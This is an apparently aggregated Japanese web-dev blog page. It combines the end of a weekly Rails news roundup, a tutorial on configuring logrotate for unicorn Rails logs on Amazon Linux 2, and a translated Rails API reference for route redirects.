つっつきボイス:「これイギリスのBBCサイトの記事なんですが🇬🇧、予想以上にいい記事でした😍: おまいらRも発音できないのかみたいにマウント取りに行くのかと思ったら全然違ってたという」「イギリスやアメリカですら、Rの発音が時代によって品がないとされたり、Rの発音を弱めてオシャレ感を出したりしてた時期があったんだそうです」「翻訳が極上なのもポイント高いです😋: こんな訳しにくいものよく訳したなと」「RというとR言語↓しか思い浮かばないけどっ🤣」「それ🤣

参考: R言語 - Wikipedia


r-project.orgより

Fred Astaireの歌う古い英語の歌↓がとても聞き取りやすくて好きだったのですが、言われてみればいわゆるRの音がほとんど強調されてなくて単なる「アー」みたいに聞こえます。もしかするとマイクの性能が低かった時代のステージでの歌い方だったりするのかもしれませんが。

参考: フレッド・アステア - Wikipedia

⚓番外

⚓文明と衰退


つっつきボイス:「政権交代すると学問が衰退するというのはあるある」「逆もあったりしますし」

「これとは少し違うけど『権力者は暦を操りたがる』みたいな傾向ってあったりしますよね」「ありそう〜」「暦とか元号の改定を権力の証とするみたいな」「ピラミッドとかより安上がりに歴史に名前残るからかも😆

そういえばプーチンは何年か前にサマータイム周りをエイヤっと変更してましたね。

参考: 【続報】新タイムゾーン決定~10月26日から東京・モスクワ間の時差が通年6時間に~ | ロシアぶろぐ(仮)~目指せ1日1ロシアネタ~

⚓ダークマターあやうし?


つっつきボイス:「現時点ではまだ何とも言えないんですが、ここ何年かでダークマター説がじわじわ苦しくなりつつあるような感じだったので」「久々の宇宙ネタ🛰」「この辺好きなの自分だけかも😆

参考: 暗黒物質 - Wikipedia
参考: エントロピック重力 - Wikipedia


今回は以上です。

バックナンバー(2019年度第1四半期)

週刊Railsウォッチ(20190408-1/2前編)RubyKaigiの予習資料、Rails「今年ベストのプルリク」、numbered parametersの議論ほか

今週の主なニュースソース

ソースの表記されていない項目は独自ルート(TwitterやはてブやRSSなど)です。

Ruby 公式ニュース

Publickey

publickey_banner_captured

Postgres Weekly

postgres_weekly_banner

unicornにログローテーション設定してみた

$
0
0

はじめまして、BPSの福岡拠点として一緒にお仕事させて頂いてます、
18年卒で入社した株式会社ウイングドアの岡です。

ちょっと前に、弊社が監視しているサーバーの空き容量対策として行った、
「ログローテーション」を設定した際の話を書こうと思います。

ログローテーションとは?

ログローテーションとは、システムが残す記録(ログ)が際限なく増えることを防ぐために、一定の容量や期間ごとに古いログを削除したり新しいログで上書きすること。
また、そのような機能。

参考: ログローテーション(ログローテート)とは – IT用語辞典 e-Words

ログローテーションしないとどうなる?

ログローテションの設定をしないと、ログが肥大化しサーバーが停止する可能性があります。
実際に弊社も今回その状態が発生しました・・・。
しかし、ログローテーションの設定をすることで、
容量や期間ごとに古いログを自動で削除できるので、自動でログの管理ができます。

手順

今回行うこと

  • logrotateを使って行う
  • Rails関連のログをログローテションする
  • ログの世代管理を行う
  • 過去のログを圧縮する
  • AWS環境(amazon linux 2)を想定

確認

logrotateの確認

yum list installed | grep logrotate
logrotate.x86_64                      3.8.6-15.amzn2                 @amzn2-core

logrotateは、AWS環境には基本入っているはずですので、インストールの必要はありません。
もしなかった場合は、インストールしてください。

logrotateインストール
yum install -y logrotate

cronの確認

systemctl status crond.service

logrotateを定期実行させるために、起動していないのなら起動させます。

logrotateの構成

名前・場所 内容
/etc/logrotate.conf ログローテーション全体の設定ファイル
/etc/logrotate.d/ ログファイル個別の設定ファイル
/var/lib/logrotate/logrotate.status 各ログのローテーションした日時を扱うファイル

今回はRails関連のログだけをログローテーションしたいので、logrotate.dの中に書いていこうと思います。

設定内容

vim /etc/logrotate.d/unicorn
/プロジェクト名/log/*.log {
  daily
  missingok
  rotate 30
  dateext
  compress
  delaycompress
  postrotate
  su app app
  create 660 app app

 # ローテション後にログファイルを開き直す
  lastaction
    pid=path/to/unicorn.pid
    test -s $pid && kill -USR1 "$(cat $pid)"
  endscript
}
オプション 内容
daily 毎日実行する
missingok ログファイル個別の設定ファイル
rotate 世代分残すログの設定
dateext ファイル名末尾に日付をつける
compress ログファイルをgz圧縮
delaycompress 1つ前のファイル以外は圧縮する
su 指定したユーザーでログローテーションをする
create ログローテションを行った後に、新規ログファイルを作成するユーザーを指定する

logrotateのスクリプト

 # ローテション後にログファイルを開き直す
  lastaction
    pid=path/to/unicorn.pid
    test -s $pid && kill -USR1 "$(cat $pid)"
  endscript

lastactionでは、ローテションの際にスクリプトを実行することが可能です。

  • firstaction: ログローテーションプロセスの1番最初
  • prerotate: ログファイルをローテーションする前
  • postrotate: ログファイルをローテションした後
  • lastaction: ログローテーションプロセスの1番最後

参考: logrotateスクリプトの調査

USR1シグナルで、ログローテーション後のログを開いています。
これを行わないと、ログファイルに書き込こまれなくなるので、
この処理を加えています。

参照: unicornのシグナルまとめ

動作確認

# テスト実行(実際にログローテーションはされない)
/usr/sbin/logrotate -fd /etc/logrotate.d/unicorn  

# 実行
/usr/sbin/logrotate -f /etc/logrotate.d/unicorn

確認ができていれば成功です。あとは毎日cronで実行され、日付ごとにlogが生成されます。

まとめ

ログローテーションを実際に設定してみて思ったことは、
設定することでコードを書かずにlogを管理できるようになり、
過去のログを調査する際も、日付ごとに分かれていて便利でした。
あらためてログローテションの必要性を実感しました。


株式会社ウイングドアでは、Ruby on RailsやPHPを活用したwebサービス、webサイト制作を中心に、
スマホアプリや業務系システムなど様々なシステム開発を承っています。

関連記事

WordPress新エディタ「Gutenberg」をさわってみた

Rails API: ActionDispatch::Routing::Redirection#redirect(翻訳)

$
0
0

概要

MITライセンスに基づいて翻訳・公開いたします。

Rails API: ActionDispatch::Routing::Redirection#redirect(翻訳)

任意のパスを別のパスにリダイレクトします。

get "/stories" => redirect("/posts")

上のコードはユーザーをリダイレクトしますが、リクエストの他の部分(/stories/stories?foo=barといったクエリ文字列など)は無視して、すべて/postsにリダイレクトします。

与えられるリダイレクトの引数内で、以下のように式展開を使うこともできます。

get 'docs/:article', to: redirect('/wiki/%{article}')

URLの冒頭にスラッシュ/がないパスを返すと、現在のSCRIPT_NAME環境変数がプレフィックスとして冒頭に追加されます。この変数の値は/の場合が典型的ですが、マウントしたエンジンや、アプリケーションがWebサイトのサブディレクトリにデプロイされている場合にはこのとおりでないこともあります。

この他にもいくつかの構文を使うことができます。

リダイレクトをブロックで表現すると、そのリダイレクトに関連する任意のロジックを簡単にカプセル化できます。引数には、ブロックで受け取る引数の個数に応じて、paramsとリクエスト、またはparamsのみのいずれかが使えます。戻り値として文字列が1つ必要です。

get 'jokes/:number', to: redirect { |params, request|
  path = (params[:number].to_i.even? ? "wheres-the-beef" : "i-love-lamp")
  "http://#{request.host_with_port}/#{path}"
  }

ただし、do end構文はリダイレクトブロックでは使えません。理由は、Rubyはこのブロックをredirectではなくgetに渡すからです。{ }ブロックをお使いください。

オプションとしてのredirectでは、変更の必要なURLの一部のみを渡せます。このオプションでは、上述の最初の例のような式展開もサポートされています。

get 'stores/:name',       to: redirect(subdomain: 'stores', path: '/%{name}')
get 'stores/:name(*all)', to: redirect(subdomain: 'stores', path: '/%{name}%{all}')
get '/stories',           to: redirect(path: '/posts')

上はユーザーをリダイレクトしますが、リクエストの特定の部分のみを変更します。たとえば、上の末尾の例のpath:オプションでは、/stories/postsに、/stories?foo=bar/posts?foo=barにそれぞれリダイレクトされます。

最後に、呼び出しに応答するオブジェクトを渡してリダイレクトすることができます。これを用いて、共通のリダイレクトルーティングを再利用できます。この呼出メソッドは、paramsとリクエストという2つの引数を取らなければならず、文字列を1つ返さなければなりません。

get 'accounts/:name' => redirect(SubdomainRedirector.new('api'))

関連記事

[Rails 5.1] ‘form_with’ APIドキュメント完全翻訳

Viewing all 1410 articles
Browse latest View live